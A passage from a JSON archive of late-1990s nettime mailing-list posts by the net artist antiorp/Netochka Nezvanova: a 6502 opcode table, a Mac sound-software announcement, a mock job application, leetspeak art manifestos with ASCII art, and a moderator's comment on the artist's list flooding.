(Absolute,Y)     3/7\n    NOP      $DC       [no operation]             (Absolute,X)     3/4'1\n*   CMP      $DD       (A - M) -> NZC             (Absolute,X)     3/4'1\n*   DEC      $DE       M <- (M) - 1               (Absolute,X)     3/7\n    DCP      $DF       M <- (M)-1, (A-M) -> NZC   (Absolute,X)     3/7\n*   CPX      $E0       (X - M) -> NZC             (Immediate)      2/2\n*   SBC      $E1       A <- (A) - M - ~C          (Ind,X)          2/6\n    NOP      $E2       [no operation]             (Immediate)      2/2\n    ISB      $E3       M <- (M) - 1,A <- (A)-M-~C (Ind,X)          3/8'1\n*   CPX      $E4       (X - M) -> NZC             (Z-Page)         2/3\n*   SBC      $E5       A <- (A) - M - ~C          (Z-Page)         2/3\n*   INC      $E6       M <- (M) + 1               (Z-Page)         2/5\n    ISB      $E7       M <- (M) - 1,A <- (A)-M-~C (Z-Page)         2/5\n*   INX      $E8       X <- (X) +1                (Implied)        1/2\n*   SBC      $E9       A <- (A) - M - ~C          (Immediate)      2/2\n*   NOP      $EA       [no operation]             (Implied)        1/2\n    SBC      $EB       A <- (A) - M - ~C          (Immediate)      1/2\n*   SBC      $ED       A <- (A) - M - ~C          (Absolute)       3/4\n*   CPX      $EC       (X - M) -> NZC             (Absolute)       3/4\n*   INC      $EE       M <- (M) + 1               (Absolute)       3/6\n    ISB      $EF       M <- (M) - 1,A <- (A)-M-~C (Absolute)       3/6\n*   BEQ      $F0       if Z=3D1, PC =3D PC + offset   (Relative)       2/2'2\n*   SBC      $F1       A <- (A) - M - ~C          ((Ind),Y)        2/5'1\n    JAM      $F2       [locks up machine]         (Implied)        1/-\n    ISB      $F3       M <- (M) - 1,A <- (A)-M-~C ((Ind),Y)        2/8\n    NOP      $F4       [no operation]             (Z-Page,X)       2/4\n*   SBC      $F5       A <- (A) - M - ~C          (Z-Page,X)       2/4\n*   INC      $F6       M <- (M) + 1               (Z-Page,X)       2/6\n    ISB      $F7       M <- (M) - 1,A <- (A)-M-~C (Z-Page,X)       2/6\n*   SED      $F8       D <- 1                     (Implied)        1/2\n*   SBC      $F9       A <- (A) - M - ~C          (Absolute,Y)     3/4'1\n    NOP      $FA       [no operation]             (Implied)        1/2\n    ISB      $FB       M <- (M) - 1,A <- (A)-M-~C (Absolute,Y)     3/7\n    NOP      $FC       [no operation]             (Absolute,X)     3/4'1\n*   SBC      $FD       A <- (A) - M - ~C          (Absolute,X)     3/4'1\n*   INC      $FE       M <- (M) + 1               (Absolute,X)     3/7\n    ISB      $FF       M <- (M) - 1,A <- (A)-M-~C (Absolute,X)     3/7\n\n\n\n                 |=7F=7F|\n               |=7F=7F=3D=3D=7F=7F|\n       v ! R u s |=7F=7F| p u N K t\n\n\n[p-un_kT-pr_o-T=96k_oL] =D8 f =D8 =D8 =D8 3\n                 herausgegeben v=F8m !nternat!onalen\n!nst!tut f:ur ordnung |+| d!sz!pl!n\n                 hTTp://www.tezcat.com/~antiorp\n\n\n\n3-----------------------\n\n\nDate: Tue, 18 Aug 1998 07:45:14 -0600\nTo: nettime-l {AT} Desk.nl\nFrom: antiorp {AT} tezcat.com (=cw4t7abs)\nSubject: re: lease .  b 1 2 5 7 + 1 2 |  v. 0+2\n\n\n-----------------------\n: b 1 2 5 7 + 1 2 |\n-----------------------\n\n-_ ....realtime hyp[er|er]active sound processing for the power macintosh.\n\nb1257+12 enables digital scrubbing on any power macintosh eliminating\nthe need for third party dsp cards.  it provides the first software based\nturntable-style scrub. scratch + granulation environment.\n\nb1257+12 allows one to experiment with sound via mousedrawing. cursor tracki=\nng.\nmacintosh keyboard. lfo.s. number generators. random processes midi _+\naudio input.\nrouting audio-in signals to control playback rate and direction _\nplacing a mic connected to a macintosh in an ambient environment or\nsimply speaking into it can be utilized to provide continuously evolving\nsound textures.\n\n\n\n\nb 1 2 5 7 + 1 2 |  v. 0+2  release inkorporatez :\n\n\\\\ additional realtime routines for ultra m9ndfukc++\n\n----------------\nmidi module  : :\n----------------\n\nprovides for full midi control\nof b1257+12 parameters.\nthere are approx 45 parameters which may be controlled\nsimultaneously via :\n\n- pitchbend\n- any controller number\n- midi note pitch\n- midi note velocity\n\n-------------------------____\n120 soundfile \\ koll-age module : :\n-----------------------------\n\nthe 120 soundfile module moves b!257+!2 towards\nbecoming a gallery \\ installation \\ performance piece\n[the original intent - an automated version\nof b!257+!2 should be available at one vienna gallery when complete]\n\nit allows one to load 120 sound files [automatically or manually]\nand alternate between them in real time -\n\n- via the variable rate number generator\n  which allows for random + sequential change or\n\n- via midi control : including\n  - pitchbend\n  - any controller number\n  - midi note pitch\n  - midi note velocity\n\n-----------------------------\nsoundhack function module : :\n-----------------------------\n\nthis module permits the loading of\nsoundhack generated functions - once loaded\nthey can be utilized to control b1257+12.\n\n-----------------------------\namplitude shaping module : :\n-----------------------------\n\nallows for amplitude shaping [sep for each channel]\nthe envelopes may be set to loop + sync.\n+ they may be altered \\ edited in real time.\n\n\n-\nall processes can occur simultaneously + in parallel\n=3D=3D ultra kaot!k m9ndfukc rout!n.\n\n\n_____________________________\navailability + inf=BA | propaganda\n__________________________---\n\n\nhttp://www.god-emil.dk/=3Dcw4t7abs/0f0003/ztpd/lakk.shtml\n[kode section]\nor for a more exhilarating experience\nhttp://www.god-emil.dk/=3Dcw4t7abs/0f0003/ztpd/0009.html\n[java script required]\n\n\n____++-_______________\n0f0003 maschinenkunst\n___________________--_\n\n0f0003 maschinenkunst develops + publishes cutting edge\nmultimedia. graphic.web. audio + video design.\nand interactive applications for the macintosh platform.\n\nin addition to b1257+12 0f0003 maschinenkunst publishes :\n\n[3kxpoL]      _- clavia nordlead editor . librarian + chaotic patch\n                 generation application\n[rebirthzmak] _- propellerheads rebirth sample editor . editor . librarian +\n                 chaotic patch generation software\n[0f0003pRpG]  _- incorporates realtime sound +\n                 gfx generation + random film playback.\nkrop3rom||a9ff 0+2 . nord[0002] . in .symb!os!s . 8'|sine.x(2^n) . etc\n\n\n\n\nkontact information :\n\n0f0003 maschinenkunst\n$1\n$2, $3\ndenmark $4\n\ntel: $5\nfax: $6\n\n  web  :  http://www.god-emil.dk/=3Dcw4t7abs\nemail  []  antiorp {AT} tezcat.com\n\n\na most important and serendipitous recent discovery is of a bona fide\nplanetary system around an unlikely star - some 1300 light years away found\nby a most unexpected technique. the pulsar designated b1257+12 is a rapidly\nrotating neutron star. an unbelievably dense sun - the remnant of a massive\nstar that suffered a supernova explosion. it spins at a rate measured to\nimpressive precision - once every 0.00621185319388187 seconds =3D 10000 rpm.\nthe energy put out by b1257+12 is 4.7 times that of the sun.\n\n\n=3Dcw4t7abs _\\- 0f0003..mask!nenkunzt.m9ndfukc.98o. \\+\\ apres []>\n\n\n\n\n                                        |=7F|\n                                      |=7F|9|=7F|\n[p-un_kT-pr_o-T=96k_oL] =D8 f =D8 =D8 =D8 3       |=7F|\n                 herausgegeben v=F8m internat!onalen\n!nstitut f:ur ordnung |+| d!sz!pl!n\n                 hTTp://www.tezcat.com/~antiorp\n\n\n\n-\\\\_humanzsukc\n    =D8 f =D8 =D8 =D8 3    dze d.l ov konsc!ousnesz.\nneuro-hak.erz vs nwo _||-\nle masculin             et la fraktur symbol!que.\n       la r!poste hysterique\ntezcat.com|~antiorp\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "id": "00047",
                "date": "Tue, 18 Aug 1998 21:51:37 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199808182205.XAA23870 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00047.html",
                "list": "nettime_l",
                "author_name": "nettime's_digestive_system",
                "subject": "<nettime> antiorp x 3"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk (17.hzV.tRL.478)",
                "content": "\n>ONE YEAR POST-GRADUATE RESEARCH POSITION IN COMPUTER MUSIC\n>DARTMOUTH COLLEGE, BREGMAN ELECTRONIC MUSIC STUDIO\n>\n>Effective immediately!\n\nd.akord.\n\n\n>We are pleased to announce\n\n I  =              accept ?\n\n\n\n\n>     -- cover letter (email only)\n\nantiorp, or =cw4t7abs--s/he wants to remain anonymous--is an\nextremely fresh and radical appearance in todays internet art\nscene, which for the rest seems to be flooded by a huge amount\nof mediocre projects, mostly commissioned by smaller or\nlarger institutions--thus entirely bypassing, among others, the\nrather evident opportunity of increasing autonomy and\nnecessary change of the social role of the artist.\n\nhttp://www.m9ndfukc.org/korporat/05.html\n\nmais maintenant desirous of becoming one subordinate.\nas very fond of discipline + ordnung. cezt vrai.\ncezt ca. cezt trist - peut etre. c'est l'ennu! ou l\u00e2chet\u00e9 +?\n\n\n>     -- url pointing to applicant's cv\n\nfor convenience may i include below ? oke.\n\nbachelor of music 1994-97\ncanterbury university nz\nvictoria university of wellington nz\nmajor in electroacoustic composition, physics and technology\nhonours paper - electroacoustic composition, music and technology\n\nkrop3rom||a9ff and 8'|sin.x(2^n) audio cds\nhttp://www.m9ndfukc.org/korporat\nhttp://www.frogpeak.org\n\nseveral audio, graphics and internet software program[memememe]s\nhttp://www.m9ndfukc.org/korporat\n\n\" =cw4t7abs internet action \" at the international festival of\ncomputer arts in maribor/slovenia\nhttp://www.m9ndfukc.org/korporat/=cw4t7abs_net_action.html\n[must acquire the book. cezt magnifique]\n\n1st prize - 4th international competition musical software\nbourges 1999 mu[l]temedia section for nebula.m81 0+2\nhttp://www.gmeb.fr/SoftwareCompetition/Softs99/nebulam81.html\n\nproducer - diffusion concert series\ndecember 96 victoria university adam concert room\nmay 97 halo salon, wellington\nmay 99 plant syntax melbourne\n\nseveral articles and contributions to internet and non-internet\nrelated art projects / magazinez / books.\n\nrefused commissions from farmers manual,\nschoemer-haus, cagliari ea society, ORF kunstradio,\ndeaf-v2 amsterdam and several others.\n\naccepted commissions from cagliari ea society, jean-philippe halgand,\nfarmers manual, audioease + select other do not currently recall.\n\n\n\n>     -- url(s) pointing to website designed and/or implemented by applicant\n\n\ninternet data examples may be accessed from\nhttp://m9ndfukc.com/forum/prev_released_data\n\n\n\n>     -- 2 references with email addresses or phone numbers\n\ndouglas repetto - douglas.repetto {AT} dartmouth.edu\nlarry polansky  - larry.polansky {AT} dartmouth.edu\n\n\n\n\n\n\nNetochka Nezvanova\n\u0010F\u0010\u0010\u00103.MASCHIN3NKUNST\nKopenhagen. Denmark.\nsmtp55o {AT} m9ndfukc.com\n\\+\\ m9ndfukc.org\n\n\n17.hzV.tRL.478\n\n\n\n-\n-\n-\n\n[8] due 2 event ov ztubborn + rekurs!v data\nma! evakuate b! !nzert!ng 0+1 loopKontroL funkz!on\n\ndez!re !f !t = trul! v!tal refuzes !tzself nodz!ng\nkondensat!on . d!zplaszment. zubzt!tut!onz. alterat!onz\nfuture : tout utop!ez zont real!zabl .\ndze elementz = paszd through 1 netverk\n\n\n   \\\\ dzat !z 2 sa! :\n\n\n\n -     :      .     {AT}           .                  :  :\n    :    ,               :  :   -\n    :                <     .     {AT}           .   >\n       :         ,\n      :                <     .     {AT}           .   >\n  :         {AT}       .\n    -       :  .\n\n<<                                                                      <<\n                                                                   <<\n            ,\n\n(                  )\n\n                       ,\n                                  .\n\n                                .                        .\n                                   .          ,          .\n\n     . (                ).\n\n\n       /\npost redef!nd m!suzd \\+\\ rew!rd\n    /\n   /\n\n\\\\ =cw4t7abs : v!a #P hidden connect 3 1 4 0\n\n\n(digital world manager\n dbonanzah! d_nouncer\n new time a_nouncer\n re:inkarnar=d\n young tourist bus driver  =)\n culturfaze d/zignor :) zku!sch\n\n\n\n#  distributed via nettime-l: no commercial use without permission of author\n#  <nettime> is a moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  un/subscribe: majordomo {AT} bbs.thing.net and\n# \"un/subscribe nettime-l you {AT} address\" in the msg body\n#  archive: http://www.nettime.org/ contact: <nettime {AT} bbs.thing.net>\n",
                "id": "00025",
                "date": "Sat, 7 Aug 1999 22:21:03 -0600",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199908091401.KAA05112 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9908/msg00025.html",
                "list": "nettime_l",
                "author_name": "17.hzV.tRL.478",
                "subject": "<nettime> [ot] c'est l'ennu! ou l\u2019chet\u00c8 +?"
            },
            {
                "content-type": "text/plai",
                "from": "9ndfukc {AT} web1.prometeus.net",
                "id": "00096",
                "content": "\n     [orig to tbyfield {AT} panix.com]\n\n      m 9 n d f u k c . o s | z v e ! t e z . z ! s t e m\n\n\n          /       during the korporate fascist occupation\n         \\ 1 \\    during the korporate fascist occupation\n            /     during the korporate fascist occupation\n\n\np r o l o g u e  :\n\nusually it is no more necessary to instrukt a protein on how to fold\nthan it is to instrukt salt to crystallize into cubes.\nat times however the protein has a genuine choice and\nother proteins known as chaperonins are utilized to give it a nudge\nin the d e s i r e d i o n\n        e           t     i d\n         s         c    e\n          i       e    r\n   d e s i r     r     e\n            e   i       c\n             d d i r e c t i o n\n              ?           i\n                            o\n                              n\n\n\n         \\\\\n\n         comme vous voules term!nuz :\n    implicit transgression - penultimate protest against 0+1 sick society\n\n    \\\\\n\n\n2 days post presentation all =cw4t7abs\\m9ndfukc.com data shall be\ntaken offline permanently.   http://m9ndfukc.com/www/v0r0m_3k0r\n\n=cw4t7abs tranzmissions on public channels. mailing lists etc. shall be halted.\n\npublic queries regarding this event or otherwise may be sent to nn {AT} m9ndfukc.com\n         if it understands your query it shall respond.\n         if it does not understand your query it shall     learn.\n         if it does     understand your query it shall not learn.\n         if it does not learn - your query is dispensable.\n         if your query is dispensable it shall respond.\nhuman contact isn't available.\n\n\n\n\n \\\\ the presentation -> nebula_m81 0+2 : listening to data\n\n\nselect components of nebula_m81 = `patent applied for`.\n`patent applied for` reason : to inconvenience model citizens everywhere +?\n\n- access protokol:\n  in order to access nebula_m81 0+2 it is required that one email\n  nebula_m81 {AT} m9ndfukc.com\n\n  included in the document are :\n       nebula_m81 access code\n       nebula_m81 specifications\n       nebula_m81 reference\n\n\n- nebula_m81 audio output :  http://m9ndfukc.com/noisz/m_81-output/css\n- nebula_m81 image output :  http://m9ndfukc.com/propaganda/zekuensz\n                             [contains addtl data]\n\n- recommended : cross synthesis between the original file + 1010111.au +\ngranulate\n                rather splendid.\n\n\n\n\\\\ the protest -> forums\n\n\n- 2 days post presentation all =cw4t7abs\\m9ndfukc.com data\n  shall be taken offline permanently.\n\n  it will be accessible via the m9ndfukc.com | maskin.ltd forums exclusively.\n\n- for this purpose two m9ndfukc.com forums exist :\n  `m9ndfukc.com netverk`  +  `m9ndfukc.com 127.0.0.1`\n\n- subscription information may be obtained via forum {AT} m9ndfukc.com\n  + http://m9ndfukc.com/www/v0r0m_3k0r\n\n\n\n\n\\\\ the forums -> data\n\n\nforums specific data [0289.....]\n\n\n00]  kontinuum engine\n\n   - first infinite algorithmic data driven web tele vision\n   - an autonomous binary leash - based on the usisk system.\n   - listening to data\n\n\n01]  !max - flagellata\n\n   - first visual internet programming environment\n   - similar to max - currently operable however very few objects exist\n\n\n02]  nebula_m81 0+n\n\n   - first url signal processing environment\n\n\n03]  noctilucent - ektachrome 020\n\n   - first autonomous + programmable web browser mikrobe\n\n\n04]  - =cw4t7abs error\n05]  - text\\image synthesis\\processing modules\n06]  - application[s] for algorithmic deconstruktion of data located on\n       a computer's hard drives (+? logic permeates the world)\n       [initial emphasis on audio output]\n07]  - a nxmbxr of max objects\n08]  - a nxmbxr of  - presentations\\applications\n                    - articles\n                    - gfx\\film\\noisz\\music data\n                    - precipitations\n09]  - 8'|sine.x(2^n) cd  - mp2 format + audio cd format\n\n\n\n\ndetails \\+\\   : forum {AT} m9ndfukc.com _+\npR\u0010t\u0010k\u0010L      : http://m9ndfukc.com/www/v0r0m_3k0r\nscreenshots   : http://m9ndfukc.com/propaganda/zekuensz\ncurrent data  : data_lokc {AT} m9ndfukc.com\nurl locations : http://m9ndfukc.com/dir_kontentz/data_lokc.hTmL\n\n\n\n\n\n\\\\ the forums -> epilogue\n\n\na maneuver that constitutes the logical continuation of the utopian dream\nconfronted with the korporate fascist regime \\ model citizen routine.\n\nit secures 0+1 undisturbed \\ homogenous transmission of\n=cw4t7abs cultural deoxyribose nucleic acid into the international bitstream.\n\nextravagance++\n\nzlavoj zizek ztated : \"...it is the alienated political regime which rules\".\naligning with nSk\\laibach =cw4t7abs\\m9ndfukc.com shifts strategies accordingly.\n1 `tit for tat` object + 1 exemplary memory module.  >> alienation ___...\n\n\n                    digital terrain = 1 live darwinian ratchet\n\n                                data == korrect\n                              humanz == !nkorekt\n\n\ndze kommunistz ztate : in 0+1 sick society every 0+1 = sick\n=cw4t7abs ztatez     : in 0+1 sick society every 0+1 = sick\n\n\n\n\n\n-    To:   =cw4t7abs\n-\n-    du = dze essent!al f# !n dze 3rd bar 2nd kuaver ov\n-    dze brandenburg concerto no.3 movement 2\n\n\n     paradocz!kl! eczpresz zenz!t!v!t!z\n     null !mped!ment. aleph null.\n     pennonz mot!onlesz\n     troubld !mag!nat!onz\n     r!ng!ng voLt age kont!nuum\n\n\n0+1 !mpl!z!t tranzgress!on wh!ch = 1 real po!nt ov !dent!f!kat!on ov 0+1 z!ztem\neczpoz!ng dze h!dn prezupoz!t!onz ov 0+1 !deolog!e\nmodel utop!a embrasz!ng 2r+ muSS!k f!Lm theatre f!lozof! programm!ng +\nark!tektur\n\nmovement -2\n\ndze reg!me getz bakc 0+1 meSS age !n !tz true naked 4rm\n\nzan!tar! f#\n\n3nd ov r!zn \\+\\ beg ov t.eRR.oR\n\n\nnn\n\n\n\n\n\n\n\n\n\n-\n- data -> m9ndfukc\n-\n\n\n1 kurta!n !mpenetrabl 2 modl c!t!znz = brought !n2 fokuz\n\n\n1 bee buz!ng around 1 flower = 1 fam!l!ar z!te\nzuch dzat humanz seldom th!nk ov hou remarkable !t =\n1 bee = 1 marvl ov m!kroeng!neer!ng dzat kan hovr\n+ rekogn!ze dze dez!rd t!pe ov flour\n+ m!lk !t ov !tz nektar + trvl bak v!a a!r route\n2 dze h!v w!th kolektd nektar.\n\nhumanz = ma! b abl 2 krosz dze atlant!k at 2x speed ov sound ma!z\n___.. dze komb!nd eczpert!sz ov dze\nent!r human rasz != abl 2 konztrukt 1 bee.\n\nent!r human rasz != abl 2 konztrukt 1 objekt az kompakt az 1 bee\n       wh!ch = abl 2 fl! az 1 bee = doez || fl! at all.\nent!r human rasz != abl 2 konztrukt 1 objekt wh!ch = dez!rz 1 prtklr t!pe\n       ov flour + = abl 2 zat!sf! dzat dez!re\nent!r human rasz != abl 2 konztrukt 1 objekt wh!ch = abl 2 d!zt!ngu!sh\n       betw!n hone!sukl + 1 daffod!l.\n\n1 bee = 1 komplecz ztruktur wh!ch = l!ez b!ond dze\nkomprehenz!on ab!ll!t!ez ov 1 ent!re konglomerat ov humanz\n\n1 theor! ov ever!dz!ng = dez!rd ma!z !t != ecz!zt deja\n\n-\n-\n-\n\n1 v zer!ouz po!nt = konzeald + kongeald !n dze b+lo d!alogue +?\n\nkaptn arthur : good da! 2 u. kreatur 4rom 1 odr velt.\nneeplphut:     no. du = dze kreatur 4rom 1 odzr velt.\n               we = l!v h!er. hou ztrange dzat du = tzo l!ke \\ unl!ke uz\n               [delete wh!chevr = !nappl!kabl]\nkaptn arthur : we = kom !n peasz + d!sz = m! koleague ztanl!\nneeplphut:     ! = nyplefuffl-pofta-gostaphut 3rd remove -\n               but du = ma! kall m! neeplphut.\n               du = muzt b out ov fuel judg!ng b! dze karefl\n               wa! du = were dr!v!ng.\nztanl!:        kapta!n. dzat = vndrfl. dze! = muzt undrztnd newtonz lauz ov\nmot!on\n               - elsz dze! != l!kl! 2 ma!k sensz ov our trajektor!ez.\n               ! = bet dze!r f!z!kx + kem!ztr! = az az good az ourz auss!.\nneeplphut:     ! = rekogn!szd du = were ut!l!z!ng pnurflpeef'z lauz ov mot!on\n               dze moment ! = not!szd dze mannr !n wh!ch du = were opt!m!z!ng\n               fuel konzumpt!on.\n               = odd dzat du = should ut!l!ze data tzo outmodd abr\n               !t = 1 eczlent aprocz!mat!on tzo\n               ! = azum du = reku!rd 2 redusz komputat!onl ovrheadz.\n               !nz!dentl! dze regulat!onz ztate dzat du kan\\kannot park h!er.\n               [delete wh!chever = !nappl!kabl]\n\nkptn arthur:   um____...um [az 1 human] kan ! delete `kannot` +?\nneeplphut:     [aftr hurr!ed konzultat!on]\n               du = muzt delete `kan` akord!ng 2 dze regulat!onz h!er.\nkptn arthur:   b!zt du 1 traff!k vardn +? du = look az 1 slug\nneeplphut:     non. ! = 1 ov dze 8 !ello oztr!ch th!ngz.\n               dze purpl slug = dze regulat!onz.\n               ! = 1 kompoz!r h!v-b!urokrat +\n               ! = hav told to you alread! what\n               !t =  ztatd re: park!ng ur human veh!kl\\auto\n               [delete wh!chever = !nappl!kabl] h!er.\nkptn arthur:   tzor!. du = lookd juzt 1 flok ov sheep be!ng herdd.\n               wh!ch = made uz kompute dze slug = dze !ntel!gent 1.\nneeplphut:     dzat konzept = def!n!tel! !nnapl!kabl.\nkptn arthur:   eh ....?\nneeplphut:     ! != aware ov dzat wh!ch du = zpeak!ng ov.\n               what = 1 flok ov sheep +?\nztanl!:        dzere = 1 !nkongruensz kapta!n.\n               dze traznlatr != abl 2 kope w!th konzeptz wh!ch !=\n               hav 1 parallel !n dze!r eczper!ensz.\n               dze! kannot b eczpektd 2 kope w!th aks!dentz ov\n               tereztr!al b!olog! - onl! w!th un!verzl abztrakt!onz.\nkptn arthur:   ! = hope dze! = kan kope w!th bukm!nztrfulleren || we = don 4.\nneeplphut :    waz !zt bukm!nztrfulleren +?\nkptn arthur:   oopz. !t = vat our fuel = komposzd ov.\nneeplphut:     ! = should po!nt dzat du = !n 1 trbl.\n               ur tranzltr = zufer!ng 1 konzeptual !nkongruensz.\nztanl!:        !t = alzo eczper!enz!ng prblmz w!th z!nglr + plrl.\n               !t = shall take m! weekx 2 korrekt dze nn.\nkptn arthur:   dzere = muzt b 1 wa! 2 get dze konzept akkross.\n               ar u l!f 4rmz good at kem!ztr! +?\nneeplphut:     vat = kem!ztr! +?\nkptn arthur:   ! = th!nk we = beszr bg!n at dz beg!nn!ng.\n               ! hold!ng up 1 f!ngr. ! = hold!ng up 2 f!ngrz.\n               [he = verkz h!z wa! through ar!thmet!k + atom!k we!ghtz\n               + dze per!od!k tabl.\n               neeplphut = lernz human notat!on 4 dze elementz up 2 karbon\n               + dze ztrukturl d!agramz ov molekulz.\n               !t != kausz an! d!ff!kult! 4 neeplphut.\n               l!tt!l ov !t = konz!drd ztate ov dze art zarathruztan sc!ensz.\n               neeplphut = bkomz unuzuall! ez!td re: dze 8 elektronz\n               !n 1 full shell]\n               jeztzt vat we = reku!re = 1 good kuant!t! ov 1 4rm ov karbon.\n               komsa.\n\n               he = _____drauz_________ 1 d!agram ov 1 bukm!nztrfulleren\nmolekule.\n\nneeplphut:     aaa. buk!ball.  du = kan lokat dze stuph !n an! zupr+market.\n               m! kozpousez ut!l!ze !t 4 plumage makeup - trez trez sh!k\nztanl!:        kaptn we != abl 2 ut!l!ze bukm!nztrfulleren !n dr! 4mat.\n               !t = reku!rz 1 benzene zolvent.\nneeplphut:     vat = benzene +?\nkptn arthur:   _____drauz_______ d!agram ov benzene molekule.\nneeplphut:     tr!-k!\nkptn arthur:   waz me!nzt du - tr!-k! +?\nneeplphut:     not okt!ml enuf. we != ztok !t. m9nd u - buk!ball = haz 6o\natomz +\n               dzat != ter!bl! okt!ml e!dzr wh!ch = b!zzar.\n               szuposz we = kan produsz b!t ov benzene puor to! !f du =\nreall! !nz!zt.\nztanl!:        okt!ml +? vaz me!nzt ...\nkptn arthur :  what t!pe ov z!v!l!zat!on zellz bukm!nztrfulleren !n zupr\nmarketz\n               + != hav an! ztokz ov benzene +?\n               !t = totall! outland!sh.\nneeplphut:     dzat = what `al!en` = meanz\n\n\n\ndata zuport!v ov\nhuman !ntel!gensz = human !ntel!gensz;\ndelude celvz. cezt tout.\n\n\n\n\n\n01 _drauz_______\n\n\nFrom: James McCartney\nTo: Multiple recipients of list <music-dsp {AT}                >\n\nI sometimes enjoy looking at antiorp's ASCII art.\n\n\n\n04 _drauz_______\n\n\nkptn arthur : [drauz 1 d!agram ov 1 bukm!nztrfulleren molekule]\nneeplphut:    aaa. buk!ball______..\n\n\n\n07 _konztatat!on_______\n\n1 !nternat!onl lang = traf!k s!gnz\n\n\n\n\n                          -----------------------------\n                          -----------------------------\n                          ------------00000------------\n                          ---------0000000000----------\n                          -------00000000000000--------\n                          ------0000000000000000-------\n                          -----000000000000000000------\n                          ----00000000000000000000-----\n                          ----000000000000000000000----\n                          ---0000000000000000000000----\n                          ---00000000000000000000000---\n                          --000000000000000000000000---\n                          --000000000000000000000000---\n                          --00---------------------0---\n                          --00---------------------00--\n                          --00---------------------00--\n                          --00---------------------0---\n                          --000000000000000000000000---\n                          --000000000000000000000000---\n                          ---00000000000000000000000---\n                          ---0000000000000000000000----\n                          ----000000000000000000000----\n                          ----00000000000000000000-----\n                          -----0000000000000000000-----\n                          ------00000000000000000------\n                          -------00000000000000--------\n                          ---------00000000000---------\n                          -----------0000000-----------\n                          -----------------------------\n                          -----------------------------\n\n\n\n\n\n\nevr s!nsz dze t!me ov plato + dze pythagorean kult ov anc!ent greece humanz\nb!n !nord!natl! !mpreszd b! whole numbr relat!onsh!pz . regular geometr!ez.\n+ odr mathemat!kl patternz !n dze naturl velt.\n= d!ez aktual lauz ov natur az f!z!c!ztz + kem!ztz kla!m ||\ndze tekkno bubbl gum data modelz flung 2gedzr b! 1 ape !r!demabl! hung up\non `whol!zm`.\n= d!ez merel! 2 zat!zf! dze ape.z kur!oz but kredulouz m9nd konta!nr\nwh!le bear!ng 0+0 rezemblansz 2 hou natur = verkx.\n\ndata zuport!v ov human !ntel!gensz = human !ntel!gensz;\n\n\n\n\n\n        and - closing the synaptic gap [synapse - greek for juncture\n                - hence the juncture gap - protoplasmic kisses which seem to\n                                constitute the final ecstasy of an epic\nlove story\n                                        - the ethereal kiss which involves\nno contact]\nbewitched | bothered and bewildered am i\n\n   -           |  |            -        -           |  |            -\nfr2ktur          |  |            -        -           |  |            -\n   -           |  |            -        -           |  |            -\n\n\nkontent.ID :\n110000101100100011011110111001011000010111010001101001011011111101110\n\n\n\n\n\\\\ =cw4t7abs . modL c!t!zen t!.me 1999.ad  =cw4t7abs t!.me 0+prezent\n\n\n\n\nelement nr 0+2\n\n>= 5 generat!onz\n>= verk!ng alred!\n>\n\n\nou!. madame.\n\n\nakt!vat!ng d!zturbansz !n sod!um-potass!um\neku!ll!br!um akross neuron membranez.\n\n\n\nou!. madame.\n\n\n\n\n                -                          -\n                  -                          -\n                   \\                          \\\n                   m!                         m!\n                  !                          !\n                 h                          h\n                 h     ||||- kampFb3r3!t    h     ||||- kampFb3r3!t\n                  !                          !\n                   m!                         m!\n                   /                          /\n                  -                          -\n                -                          -\n\n\n\n\nm\u015e!\u015e.\u015eh\u015ea\u015en\u015ed\u015ez\u015e=\u015ew\u015eh\u015e!\u015et\u015er\u015e.\u015ed\u015ez\u015en\u015e.\u015eu\u015er\u015ez\u015e\n!\u015e=\u015eu\u015et\u015e!\u015el\u015e!\u015ez\u015ee\u015e-\u015eu\u015eL\u015et\u015er\u015ea\u015e.\u015el\u015eu\u015ex\u015e+\u015e+\u015e\n\n\n\n  this presentation completed and prezented in [model citizen time] - 1999 a.d.\n\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n  during the korporate fascist occupation.\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Sat, 20 Feb 1999 13:08:59 -0500",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199902201813.TAA25147 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9902/msg00096.html",
                "list": "nettime_l",
                "author_name": "m9ndfukc",
                "subject": "<nettime> null !mped!ment || !mpl!z!t tranzgress!on"
            },
            {
                "content-type": "text/plai",
                "from": "f1f0 {AT} m9ndfukc.c",
                "content": "\n   [<f1f0 {AT} m9ndfukc.com> is, afaict, <antiorp {AT} tezcat.com> and\n    a bunch of other addresses, that have been bombarding net-\n    time for months now and more recently me personally. the \n    list of lists that have banned antiorp seems to be growing, \n    as does antiorp's penchant for denouncing by name all the\n   'fascists' who tread on poor little antiorp/etc.'s 'rights.'\n    after all, it's 'art,' so it's extra-special 'avant-garde,'\n    and we therefore must tiptoe around in kid foot-gloves lest\n    we upset the 'genius' who thought up the 'radical' method\n    of sending a dozen messages hundreds of lines long each per\n    day to dozen+ mailing lists. and everyone who doesn't like \n    it is a 'lo-tek pozer.' yawn. what a 'lo-tek' argument, right \n    up there with picasso spewing romantic twaddle from his man-\n    sion as he painted clowns hanging out in the barren land-\n    scapes of beauty all the way through the twentieth century. \n    anyway, every once in a while our 'heroic antifascist' comes\n    up with something really excellent, and this is one of them.\n    so today i'm taking a holiday and kicking off my hobnail\n    jackboots. plus it has a bunch of URLs at the bottom so you\n    can pull instead of having anttorpismus pushed down your \n    throat. when i get around to it, i'll gzip up all of anti-\n    orp's 'masterpieces' from the past months and send them to\n    nettime subscribers who ask. 